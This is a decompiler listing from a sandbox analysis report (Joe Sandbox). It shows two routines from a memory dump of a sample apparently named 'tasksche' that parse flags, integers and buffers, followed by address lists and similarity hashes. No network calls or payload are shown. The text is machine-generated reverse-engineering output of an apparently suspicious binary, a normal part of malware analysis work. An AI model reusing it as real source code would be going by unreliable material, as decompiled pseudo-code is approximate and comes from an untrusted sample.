				void* _t232;
				signed char _t234;
				signed int _t235;
				signed int _t239;
				signed int _t246;
				void* _t247;
				signed char _t250;
				void* _t251;
				char* _t252;
				void* _t253;
				intOrPtr _t255;
				signed int _t260;
				intOrPtr _t262;
				signed char _t277;
				signed char _t280;
				signed char _t283;
				intOrPtr _t307;
				intOrPtr _t310;
				signed int _t312;
				signed char _t314;
				signed char _t316;
				void* _t318;
				void* _t320;
				signed int _t326;
				signed int _t339;

				_t312 = __edx;
				_t318 = _t320 - 0x6c;
				E0041AAF0(0x20c0);
				_t314 =  *(_t318 + 0x74);
				 *((intOrPtr*)(_t318 + 0x68)) = __ecx;
				_t255 =  *((intOrPtr*)(_t314 + 0x14));
				_t142 = _t255 -  *(_t318 + 0x78);
				if(_t142 <  *(_t314 + 0x18)) {
					L83:
					return _t142;
				}
				 *(_t314 + 0x18) = _t142;
				if(_t255 - _t142 >= 2) {
					_t316 =  *(_t318 + 0x7c);
					while(1) {
						_t142 = E0040B60D(_t312);
						 *(_t318 + 0x64) = _t312;
						if((_t142 | _t312) == 0) {
							break;
						}
						_t260 =  *(_t314 + 0x18);
						_t312 =  *((intOrPtr*)(_t314 + 0x14)) - _t260;
						if(_t312 == 0) {
							break;
						}
						_t326 =  *(_t318 + 0x64);
						if(_t326 > 0 || _t326 >= 0 && _t142 > _t312) {
							break;
						} else {
							_t246 = _t260 + _t142;
							 *(_t318 + 0x78) = _t246;
							_t143 = E0040B60D(_t312);
							_t247 = _t246 -  *(_t314 + 0x18);
							 *(_t318 + 0x64) =  *(_t318 + 0x64) & 0x00000000;
							 *((intOrPtr*)(_t318 + 0x58)) = _t143;
							 *(_t318 + 0x5c) = _t312;
							if( *((intOrPtr*)(_t316 + 4)) == 1 && _t143 == 1 && _t312 == 0) {
								 *((char*)(_t316 + 0x1e)) = _t143;
								_t234 = E0040B60D(_t312);
								 *(_t318 + 0x74) = _t234;
								if((_t234 & 0x00000001) != 0) {
									_t239 = E0040B60D(_t312);
									 *(_t318 + 0x4c) = _t239;
									if((_t239 | _t312) != 0) {
										_t310 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t310 + 0xb040)) +  *(_t318 + 0x4c);
										 *((intOrPtr*)(_t316 + 0x24)) =  *((intOrPtr*)(_t310 + 0xb044));
									}
								}
								if(( *(_t318 + 0x74) & 0x00000002) != 0) {
									_t235 = E0040B60D(_t312);
									 *(_t318 + 0x44) = _t235;
									if((_t235 | _t312) != 0) {
										_t307 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x30)) =  *((intOrPtr*)(_t307 + 0xb040)) +  *(_t318 + 0x44);
										 *((intOrPtr*)(_t316 + 0x34)) =  *((intOrPtr*)(_t307 + 0xb044));
									}
								}
							}
							_t262 =  *((intOrPtr*)(_t316 + 4));
							if(_t262 == 2 || _t262 == 3) {
								_t312 = 0;
								_t339 =  *(_t318 + 0x5c);
								if(_t339 > 0 || _t339 >= 0 &&  *((intOrPtr*)(_t318 + 0x58)) > 7) {
									goto L81;
								} else {
									_t147 =  *((intOrPtr*)(_t318 + 0x58)) - 1;
									if(_t147 == 0) {
										_t148 = E0040B60D(_t312);
										__eflags = _t148;
										if(_t148 <= 0) {
											_t149 = E0040B60D(_t312);
											 *(_t316 + 0x10b1) = _t149 & 0x00000001;
											 *(_t316 + 0x10ba) = _t149 >> 0x00000001 & 0x00000001;
											_t153 = E0040B562(_t314) & 0x000000ff;
											 *(_t316 + 0x10dc) = _t153;
											__eflags = _t153 - 0x18;
											if(_t153 > 0x18) {
												E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
											}
											E0040B696(_t314, _t316 + 0x1091, 0x10);
											E0040B696(_t314, _t316 + 0x10a1, 0x10);
											__eflags =  *(_t316 + 0x10b1);
											if( *(_t316 + 0x10b1) != 0) {
												_t248 = _t316 + 0x10b2;
												E0040B696(_t314, _t316 + 0x10b2, 8);
												E0040B696(_t314, _t318 + 0x54, 4);
												E004106AE(_t318 - 0x54);
												E004109B0(_t318 - 0x54, _t316 + 0x10b2, 8);
												E00410A29(_t314, _t312, __eflags, _t318 - 0x54, _t318 + 0x24);
												_t170 = E0041AC04(_t318 + 0x54, _t318 + 0x24, 4);
												_t320 = _t320 + 0xc;
												asm("sbb al, al");
												__eflags =  *((intOrPtr*)(_t316 + 4)) - 3;
												 *(_t316 + 0x10b1) =  ~_t170 + 1;
												if( *((intOrPtr*)(_t316 + 4)) == 3) {
													_t173 = E0041AC04(_t248, 0x42a49c, 8);
													_t320 = _t320 + 0xc;
													__eflags = _t173;
													if(_t173 == 0) {
														 *(_t316 + 0x10b1) = _t173;
													}
												}
											}
											 *((char*)(_t316 + 0x1090)) = 1;
											 *((intOrPtr*)(_t316 + 0x108c)) = 5;
											 *((char*)(_t316 + 0x108b)) = 1;
										} else {
											E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
										}
										goto L81;
									}
									_t178 = _t147 - 1;
									if(_t178 == 0) {
										_t179 = E0040B60D(_t312);
										__eflags = _t179;
										if(_t179 != 0) {
											goto L81;
										}
										_push(0x20);
										 *((intOrPtr*)(_t316 + 0x1060)) = 3;
										_push(_t316 + 0x1064);
										L33:
										E0040B696(_t314);
										goto L81;
									}
									_t182 = _t178 - 1;
									if(_t182 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L58:
											_t183 = E0040B60D(_t312);
											_t250 = _t183 & 0x00000001;
											 *(_t318 + 0x77) = _t183;
											__eflags = _t183 & 0x00000002;
											if((_t183 & 0x00000002) != 0) {
												_t283 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1030, E0040B5EC(_t283, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1030, _t312, E0040B5AF(_t283), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000004;
											if(( *(_t318 + 0x77) & 0x00000004) != 0) {
												_t280 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1038, E0040B5EC(_t280, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1038, _t312, E0040B5AF(_t280), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000008;
											if(( *(_t318 + 0x77) & 0x00000008) != 0) {
												_t277 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1040, E0040B5EC(_t277, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1040, _t312, E0040B5AF(_t277), 0);
												}
											}
											goto L81;
										}
										__eflags = _t247 - 9;
										if(_t247 < 9) {
											goto L81;
										}
										goto L58;
									}
									_t196 = _t182 - 1;
									if(_t196 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L53:
											E0040B60D(_t312);
											__eflags = E0040B60D(_t312);
											if(__eflags != 0) {
												 *((char*)(_t316 + 0x10e3)) = 1;
												E0040BC16(_t318 + 0x1c, 0x14, ";%u", _t198);
												_t320 = _t320 + 0x10;
												E00410BC9(__eflags,  *((intOrPtr*)(_t318 + 0x68)) + 0x6608, _t318 + 0x1c, 0x800);
											}
											goto L81;
										}
										__eflags = _t247 - 1;
										if(_t247 < 1) {
											goto L81;
										}
										goto L53;
									}
									_t205 = _t196 - 1;
									if(_t205 == 0) {
										 *((intOrPtr*)(_t316 + 0x10f0)) = E0040B60D(_t312);
										_t207 = E0040B60D(_t312);
										_t290 = _t314;
										 *(_t316 + 0x20f4) = _t207 & 0x00000001;
										_t251 = E0040B60D(_t312);
										 *((char*)(_t318 - 0x2054)) = 0;
										__eflags = _t251 - 0x1fff;
										if(_t251 < 0x1fff) {
											_t290 = _t314;
											E0040B696(_t314, _t318 - 0x2054, _t251);
											 *((char*)(_t318 + _t251 - 0x2054)) = 0;
										}
										E0040A277(_t318 - 0x2054, _t318 - 0x2054, 0x2000);
										E00411CD1(_t290, _t318 - 0x2054, _t316 + 0x10f4, 0x800);
										goto L81;
									}
									_t217 = _t205 - 1;
									if(_t217 == 0) {
										_t218 = E0040B60D(_t312);
										 *(_t316 + 0x20f6) = _t218 >> 0x00000002 & 0x00000001;
										_t252 = _t316 + 0x20f8;
										 *(_t318 + 0x7c) = _t218;
										 *(_t316 + 0x20f7) = _t218 >> 0x00000003 & 0x00000001;
										 *((char*)(_t316 + 0x21f8)) = 0;
										 *_t252 = 0;
										__eflags = _t218 & 0x00000001;
										if((_t218 & 0x00000001) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											E0040B696(_t314, _t252,  *(_t318 + 0x74));
											 *((char*)(_t252 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t318 + 0x7c) & 0x00000002;
										if(( *(_t318 + 0x7c) & 0x00000002) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											_t253 = _t316 + 0x21f8;
											E0040B696(_t314, _t253,  *(_t318 + 0x74));
											 *((char*)(_t253 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t316 + 0x20f6);
										if( *(_t316 + 0x20f6) != 0) {
											 *((intOrPtr*)(_t316 + 0x22f8)) = E0040B60D(_t312);
										}
										__eflags =  *(_t316 + 0x20f7);
										if( *(_t316 + 0x20f7) != 0) {
											 *((intOrPtr*)(_t316 + 0x22fc)) = E0040B60D(_t312);
										}
										 *((char*)(_t316 + 0x20f5)) = 1;
										goto L81;
									}
									if(_t217 != 1) {
										goto L81;
									}
									if(_t262 == 3) {
										_t232 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t318 + 0x78);
										if(_t232 == 1) {
											_t247 = _t247 + _t232;
											asm("adc eax, edx");
										}
									}
									E00401C1D(_t316 + 0x1020, _t247);
									_push(_t247);
									_push( *((intOrPtr*)(_t316 + 0x1020)));
									goto L33;
								}
							} else {
								L81:
								 *(_t314 + 0x18) =  *(_t318 + 0x78);
								_t142 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t314 + 0x18);
								if(_t142 >= 2) {
									continue;
								}
								break;
							}
						}
					}
				}
			}

0x0040272e
0x0040272f
0x00402738
0x0040273e
0x00402741
0x00402744
0x00402749
0x0040274f
0x00402c84
0x00402c88
0x00402c88
0x00402757
0x0040275d
0x00402764
0x00402768
0x0040276a
0x00402773
0x00402776
0x00000000
0x00000000
0x0040277c
0x00402782
0x00402784
0x00000000
0x00000000
0x0040278c
0x0040278f
0x00000000
0x0040279f
0x0040279f
0x004027a4
0x004027a7
0x004027ac
0x004027af
0x004027b7
0x004027ba
0x004027bd
0x004027ca
0x004027cd
0x004027d2
0x004027d7
0x004027db
0x004027e0
0x004027e5
0x004027e7
0x004027f9
0x004027fb
0x004027fe
0x004027fe
0x004027e5
0x00402805
0x00402809
0x0040280e
0x00402813
0x00402815
0x00402827
0x00402829
0x0040282c
0x0040282c
0x00402813
0x00402805
0x0040282f
0x00402835
0x00402840
0x00402842
0x00402845
0x00000000
0x00402857
0x0040285a
0x0040285b
0x00402b57
0x00402b5c
0x00402b5e
0x00402b73
0x00402b7f
0x00402b89
0x00402b94
0x00402b97
0x00402b9d
0x00402ba0
0x00402ba9
0x00402ba9
0x00402bb9
0x00402bc9
0x00402bce
0x00402bd5
0x00402bd9
0x00402be2
0x00402bef
0x00402bf8
0x00402c04
0x00402c11
0x00402c20
0x00402c25
0x00402c2a
0x00402c2e
0x00402c32
0x00402c38
0x00402c42
0x00402c47
0x00402c4a
0x00402c4c
0x00402c4e
0x00402c4e
0x00402c4c
0x00402c38
0x00402c54
0x00402c5b
0x00402c65
0x00402b60
0x00402b67
0x00402b67
0x00000000
0x00402b5e
0x00402861
0x00402862
0x00402b30
0x00402b35
0x00402b37
0x00000000
0x00000000
0x00402b3d
0x00402b45
0x00402b4f
0x004028b1
0x004028b3
0x00000000
0x004028b3
0x00402868
0x00402869
0x00402a68
0x00402a6b
0x00000000
0x00000000
0x00402a71
0x00402a7c
0x00402a7e
0x00402a85
0x00402a88
0x00402a8b
0x00402a8d
0x00402a8f
0x00402a91
0x00402a93
0x00402ab7
0x00402a95
0x00402aa3
0x00402aa3
0x00402a93
0x00402abc
0x00402ac0
0x00402ac2
0x00402ac4
0x00402ac6
0x00402aea
0x00402ac8
0x00402ad6
0x00402ad6
0x00402ac6
0x00402aef
0x00402af3
0x00402af9
0x00402afb
0x00402afd
0x00402b24
0x00402aff
0x00402b0d
0x00402b0d
0x00402afd
0x00000000
0x00402af3
0x00402a73
0x00402a76
0x00000000
0x00000000
0x00000000
0x00402a76
0x0040286f
0x00402870
0x00402a07
0x00402a0a
0x00000000
0x00000000
0x00402a10
0x00402a1b
0x00402a1d
0x00402a29
0x00402a2b
0x00402a3d
0x00402a44
0x00402a49
0x00402a5e
0x00402a5e
0x00000000
0x00402a2b
0x00402a12
0x00402a15
0x00000000
0x00000000
0x00000000
0x00402a15
0x00402876
0x00402877
0x00402996
0x0040299c
0x004029a3
0x004029a5
0x004029b0
0x004029b2
0x004029b9
0x004029bf
0x004029c9
0x004029cb
0x004029d0
0x004029d0
0x004029e5
0x004029fd
0x00000000
0x004029fd
0x0040287d
0x0040287e
0x004028bf
0x004028cc
0x004028da
0x004028e0
0x004028e3
0x004028e9
0x004028f0
0x004028f3
0x004028f5
0x004028fe
0x00402906
0x00402909
0x0040290b
0x0040290b
0x00402914
0x0040291c
0x0040291c
0x00402920
0x00402924
0x0040292d
0x00402935
0x00402938
0x0040293a
0x0040293a
0x00402940
0x00402949
0x00402951
0x00402951
0x00402955
0x0040295c
0x00402965
0x00402965
0x0040296b
0x00402972
0x0040297b
0x0040297b
0x00402981
0x00000000
0x00402981
0x00402881
0x00000000
0x00000000
0x0040288a
0x0040288f
0x00402895
0x00402897
0x0040289c
0x0040289c
0x00402895
0x004028a5
0x004028aa
0x004028ab
0x00000000
0x004028ab
0x00402c6c
0x00402c6c
0x00402c6f
0x00402c75
0x00402c7b
0x00000000
0x00000000
0x00000000
0x00402c7b
0x00402835
0x0040278f
0x00402c82

APIs

_swprintf.LIBCMT ref: 00402A44

Strings

;%u, xrefs: 00402A32

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _swprintf
String ID: ;%u
API String ID: 589789837-535004727
Opcode ID: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction ID: 268b90de5ef8301e543b0e1450f18e5b796866e9caf2f0e9a7a428077d8a2ebb
Opcode Fuzzy Hash: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction Fuzzy Hash: ADE114702007445ADB24EF75C699BEE77E5AF40304F04053FE996A72C2DBBCA984CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00416790 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 381
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00416790(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t176;
				signed int _t179;
				signed int _t180;
				void* _t181;
				signed int _t184;
				signed int _t185;
				signed int _t190;
				signed int _t194;
				signed int _t195;
				intOrPtr _t196;
				signed int _t197;
				signed int _t203;
				signed int _t215;
				signed int _t248;
				signed int _t250;
				intOrPtr* _t263;
				signed int _t264;
				signed int* _t266;
				signed int _t267;
				signed int* _t268;
				signed int* _t269;
				intOrPtr* _t270;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr _t281;
				signed int* _t310;
				void* _t319;
				signed int _t321;
				signed int* _t328;
				signed int _t329;
				void* _t330;
				void* _t332;
				signed int _t334;
				signed int _t335;
				void* _t338;
				signed int _t340;
				signed int _t342;
				void* _t343;
				void* _t345;
				void* _t346;
				void* _t347;
				void* _t349;

				_t319 = __edx;
				E0041A4DC(E0042981F, _t343);
				_t346 = _t345 - 0x24;
				_t332 = __ecx;
				_t263 = __ecx + 0xe694;
				_t176 = 0x8000;
				 *((intOrPtr*)(_t343 - 0x10)) = _t263;
				 *((intOrPtr*)(_t263 + 4)) = 0;
				 *_t263 = 0;
				if( *(_t343 + 0x10) <= 0x8000) {
					_t176 =  *(_t343 + 0x10);
				}
				E0041C290(_t263, 0, _t332,  *((intOrPtr*)(_t332 + 0xe6a0)),  *(_t343 + 0xc), _t176);
				_t347 = _t346 + 0xc;
				 *((intOrPtr*)(_t343 - 0x14)) = _t332 + 0xe65c;
				E0040AB32(_t332 + 0xe65c);
				_t352 =  *(_t343 + 8) & 0x00000080;
				if(( *(_t343 + 8) & 0x00000080) == 0) {
					_t179 =  *(_t332 + 0xe6d4);
					 *(_t343 + 0xc) = _t179;
					_t264 = _t179;
				} else {
					_t264 = E0040AB58(_t352, _t263);
					 *(_t343 + 0xc) = _t264;
					if(_t264 != 0) {
						_t264 = _t264 - 1;
						 *(_t343 + 0xc) = _t264;
					} else {
						E004152CD(_t332, 0);
					}
				}
				_t180 =  *(_t332 + 0xe6a8);
				if(_t264 > _t180 || _t264 >  *((intOrPtr*)(_t332 + 0xe6c8))) {
					L16:
					_t181 = 0;
					goto L17;
				} else {
					_push(0x70);
					 *(_t332 + 0xe6d4) = _t264;
					 *((char*)(_t343 + 0x13)) = _t264 == _t180;
					_t328 = E0041A89A(_t264, _t319, 0, _t264 - _t180);
					if(_t328 == 0) {
						_t328 = 0;
						__eflags = 0;
					} else {
						_t21 =  &(_t328[5]); // 0x14
						E004156C4(_t21);
					}
					if( *((char*)(_t343 + 0x13)) == 0) {
						_t184 =  *( *((intOrPtr*)(_t332 + 0xe6a4)) + _t264 * 4);
						_t328[4] = _t264;
						_t266 = _t184 + 8;
						 *_t266 =  *_t266 + 1;
						__eflags =  *_t266;
						 *(_t343 - 0x1c) = _t184;
						goto L23;
					} else {
						if(_t264 <= 0x2000) {
							E004129F9(_t332 + 0xe6a4, 1);
							_push(0x70);
							_t274 = E0041A89A(_t264, _t319, _t328, __eflags);
							__eflags = _t274;
							if(_t274 == 0) {
								_t274 = 0;
								__eflags = 0;
							} else {
								_t25 = _t274 + 0x14; // 0x14
								E004156C4(_t25);
							}
							 *( *((intOrPtr*)(_t332 + 0xe6a4)) +  *(_t332 + 0xe6a8) * 4 - 4) = _t274;
							 *(_t343 - 0x1c) = _t274;
							_t328[4] =  *(_t332 + 0xe6a8) - 1;
							E004148ED(_t332 + 0xe6c4, 0);
							_t266 = _t274 + 8;
							 *_t266 =  *_t266 & 0x00000000;
							L23:
							_t185 = 0;
							 *(_t343 - 0x18) = 0;
							 *(_t343 - 0x20) = 0;
							__eflags =  *(_t332 + 0xe6b8);
							if( *(_t332 + 0xe6b8) <= 0) {
								L30:
								__eflags =  *(_t332 + 0xe6b8) - 0x2000;
								if( *(_t332 + 0xe6b8) > 0x2000) {
									goto L16;
								}
								E004129F9(_t332 + 0xe6b4, 1);
								_t321 = 1;
								__eflags = 1;
								L32:
								 *( *((intOrPtr*)(_t332 + 0xe6b4)) + ( *(_t332 + 0xe6b8) - _t321) * 4) = _t328;
								_t328[2] =  *_t266;
								_t190 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
								__eflags =  *(_t343 + 8) & 0x00000040;
								_t267 = _t190;
								if(( *(_t343 + 8) & 0x00000040) != 0) {
									_t267 = _t267 + 0x102;
									__eflags = _t267;
								}
								__eflags =  *(_t343 + 8) & 0x00000020;
								 *_t328 =  *((intOrPtr*)(_t332 + 0x70)) + _t267 &  *(_t332 + 0xe6dc);
								if(__eflags == 0) {
									_t194 =  *(_t343 + 0xc);
									__eflags = _t194 -  *((intOrPtr*)(_t332 + 0xe6c8));
									if(_t194 >=  *((intOrPtr*)(_t332 + 0xe6c8))) {
										_t195 = 0;
										__eflags = 0;
									} else {
										_t195 =  *( *((intOrPtr*)(_t332 + 0xe6c4)) + _t194 * 4);
									}
									_t328[1] = _t195;
								} else {
									_t248 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
									_t328[1] = _t248;
									 *( *((intOrPtr*)(_t332 + 0xe6c4)) +  *(_t343 + 0xc) * 4) = _t248;
								}
								_t196 =  *((intOrPtr*)(_t332 + 0x74));
								_t281 =  *((intOrPtr*)(_t332 + 0x70));
								__eflags = _t196 - _t281;
								if(_t196 == _t281) {
									L43:
									_t197 = 0;
									__eflags = 0;
									goto L44;
								} else {
									__eflags = (_t196 - _t281 &  *(_t332 + 0xe6dc)) - _t267;
									if((_t196 - _t281 &  *(_t332 + 0xe6dc)) > _t267) {
										goto L43;
									}
									_t197 = 1;
									L44:
									_t91 =  &(_t328[0x13]); // 0x4c
									_t268 = _t91;
									_t328[3] = _t197;
									E0041A820(_t328, _t268, 0, 0x1c);
									_t328[0x17] = _t328[1];
									_t349 = _t347 + 0xc;
									__eflags =  *(_t343 + 8) & 0x00000010;
									_t328[0x16] = 0x3c000;
									_t328[0x18] = _t328[2];
									if(( *(_t343 + 8) & 0x00000010) == 0) {
										L49:
										__eflags =  *((char*)(_t343 + 0x13));
										if(__eflags == 0) {
											_t334 =  *(_t343 - 0x1c);
											L60:
											_t328[9] =  *(_t334 + 0x14);
											_t328[0xa] =  *(_t334 + 0x28);
											_t203 =  *(_t334 + 0x40);
											 *(_t343 + 0x10) = _t203;
											__eflags = _t203 - 1 - 0x1ffe;
											if(_t203 - 1 <= 0x1ffe) {
												_t136 =  &(_t328[0xf]); // 0x3c
												E00401106(_t136, _t203);
												E0041C290(_t136, _t328, _t334,  *_t136,  *((intOrPtr*)(_t334 + 0x3c)),  *(_t343 + 0x10));
												_t349 = _t349 + 0xc;
											}
											__eflags = _t328[0xc] - 0x40;
											if(_t328[0xc] < 0x40) {
												_t140 =  &(_t328[0xb]); // 0x2c
												E00401B67(_t140);
												E00401106(_t140, 0x40);
											}
											_t141 =  &(_t328[0xb]); // 0x2c
											_t269 = _t141;
											_t335 =  *_t269;
											_t142 =  &(_t328[0x13]); // 0x4c
											 *(_t343 + 0xc) = _t335;
											 *(_t343 + 0x10) = _t142;
											 *(_t343 - 0x20) = 7;
											do {
												E0040AB4B( *(_t343 + 0xc),  *( *(_t343 + 0x10)));
												 *(_t343 + 0x10) =  *(_t343 + 0x10) + 4;
												 *(_t343 + 0xc) =  *(_t343 + 0xc) + 4;
												_t153 = _t343 - 0x20;
												 *_t153 =  *(_t343 - 0x20) - 1;
												__eflags =  *_t153;
											} while ( *_t153 != 0);
											_t157 = _t335 + 0x1c; // 0x48
											E0040AB4B(_t157, _t328[1]);
											_t159 = _t335 + 0x20; // 0x4c
											E0040AB4B(_t159, 0);
											_t162 = _t335 + 0x2c; // 0x58
											E0040AB4B(_t162, _t328[2]);
											E0041A820(_t328, _t335 + 0x30, 0, 0x10);
											__eflags =  *(_t343 + 8) & 0x00000008;
											if(( *(_t343 + 8) & 0x00000008) == 0) {
												L74:
												_t181 = 1;
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t343 - 0xc));
												return _t181;
											}
											_t214 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if(__eflags >= 0) {
												goto L16;
											}
											_t215 = E0040AB58(__eflags, _t214);
											 *(_t343 + 8) = _t215;
											__eflags = _t215 - 0x1fc0;
											if(_t215 > 0x1fc0) {
												goto L16;
											}
											_t329 = _t328[0xc];
											_t169 = _t215 + 0x40; // 0x40
											__eflags = _t329 - _t169;
											if(_t329 < _t169) {
												__eflags = _t215 - _t329 + 0x40;
												E00401106(_t269, _t215 - _t329 + 0x40);
											}
											_t330 = 0;
											_t338 =  *_t269 + 0x40;
											__eflags =  *(_t343 + 8);
											if( *(_t343 + 8) <= 0) {
												goto L74;
											} else {
												while(1) {
													_t270 =  *((intOrPtr*)(_t343 - 0x10));
													__eflags =  *_t270 + 3 - 0x8000;
													if( *_t270 + 3 >= 0x8000) {
														goto L16;
													}
													 *((char*)(_t330 + _t338)) = E004097D1(_t270) >> 8;
													E004097BA(_t270, 8);
													_t330 = _t330 + 1;
													__eflags = _t330 -  *(_t343 + 8);
													if(_t330 <  *(_t343 + 8)) {
														continue;
													}
													goto L74;
												}
												goto L16;
											}
										}
										_t272 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										 *(_t343 + 0x10) = _t272;
										__eflags = _t272 - 0x10000;
										if(_t272 >= 0x10000) {
											goto L16;
										}
										_t340 = 0;
										__eflags = _t272;
										if(_t272 == 0) {
											goto L16;
										}
										E00406760(_t343 - 0x30, _t272);
										__eflags = _t272;
										_t273 =  *(_t343 - 0x30);
										 *(_t343 - 4) = 0;
										if(_t272 <= 0) {
											L55:
											_t334 =  *(_t343 - 0x1c);
											E0040AD8E( *((intOrPtr*)(_t343 - 0x14)), _t273,  *(_t343 + 0x10), _t334 + 0x14);
											 *(_t343 - 4) =  *(_t343 - 4) | 0xffffffff;
											__eflags = _t273;
											if(__eflags != 0) {
												_push(_t273);
												E0041A506(_t273, _t328, _t334, __eflags);
											}
											goto L60;
										} else {
											goto L53;
										}
										while(1) {
											L53:
											_t299 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if( *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 >= 0x8000) {
												break;
											}
											 *((char*)(_t273 + _t340)) = E004097D1(_t299) >> 8;
											E004097BA( *((intOrPtr*)(_t343 - 0x10)), 8);
											_t340 = _t340 + 1;
											__eflags = _t340 -  *(_t343 + 0x10);
											if(_t340 <  *(_t343 + 0x10)) {
												continue;
											}
											goto L55;
										}
										__eflags = _t273;
										if(__eflags != 0) {
											_push(_t273);
											E0041A506(_t273, _t328, _t340, __eflags);
										}
										goto L16;
									}
									_t342 = E004097D1( *((intOrPtr*)(_t343 - 0x10))) >> 9;
									E004097BA( *((intOrPtr*)(_t343 - 0x10)), 7);
									_t103 = _t343 + 0xc;
									 *_t103 =  *(_t343 + 0xc) & 0x00000000;
									__eflags =  *_t103;
									do {
										__eflags = _t342 & 1 <<  *(_t343 + 0xc);
										if(__eflags != 0) {
											 *_t268 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										}
										 *(_t343 + 0xc) =  *(_t343 + 0xc) + 1;
										_t268 =  &(_t268[1]);
										__eflags =  *(_t343 + 0xc) - 7;
									} while ( *(_t343 + 0xc) < 7);
									goto L49;
								}
							} else {
								goto L24;
							}
							do {
								L24:
								 *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + (_t185 -  *(_t343 - 0x18)) * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + _t185 * 4));
								_t250 =  *(_t343 - 0x20);
								_t310 =  *((intOrPtr*)(_t332 + 0xe6b4)) + _t250 * 4;
								__eflags =  *_t310;
								if( *_t310 == 0) {
									_t55 = _t343 - 0x18;
									 *_t55 =  *(_t343 - 0x18) + 1;
									__eflags =  *_t55;
								}
								_t321 =  *(_t343 - 0x18);
								__eflags = _t321;
								if(_t321 > 0) {
									 *_t310 =  *_t310 & 0x00000000;
									__eflags =  *_t310;
								}
								_t185 = _t250 + 1;
								 *(_t343 - 0x20) = _t185;
								__eflags = _t185 -  *(_t332 + 0xe6b8);
							} while (_t185 <  *(_t332 + 0xe6b8));
							__eflags = _t321;
							if(__eflags != 0) {
								goto L32;
							}
							goto L30;
						}
						if(_t328 != 0) {
							E00414F64(_t264, _t328, _t328, _t343, 1);
						}
						goto L16;
					}
				}
			}

0x00416790
0x00416795
0x0041679a
0x0041679f
0x004167a1
0x004167aa
0x004167b2
0x004167b5
0x004167b8
0x004167ba
0x004167bc
0x004167bc
0x004167c9
0x004167d4
0x004167d7
0x004167da
0x004167df
0x004167e3
0x00416804
0x0041680a
0x0041680d
0x004167e5
0x004167eb
0x004167ed
0x004167f2
0x004167fe
0x004167ff
0x004167f4
0x004167f7
0x004167f7
0x004167f2
0x0041680f
0x00416817
0x00416866
0x00416866
0x00000000
0x00416821
0x00416823
0x00416825
0x0041682b
0x00416834
0x00416839
0x00416845
0x00416845
0x0041683b
0x0041683b
0x0041683e
0x0041683e
0x0041684b
0x004168d8
0x004168db
0x004168de
0x004168e1
0x004168e1
0x004168e3
0x00000000
0x00416851
0x00416857
0x00416881
0x00416886
0x0041688d
0x00416890
0x00416892
0x0041689e
0x0041689e
0x00416894
0x00416894
0x00416897
0x00416897
0x004168ac
0x004168bf
0x004168c2
0x004168c5
0x004168ca
0x004168cd
0x004168e6
0x004168e6
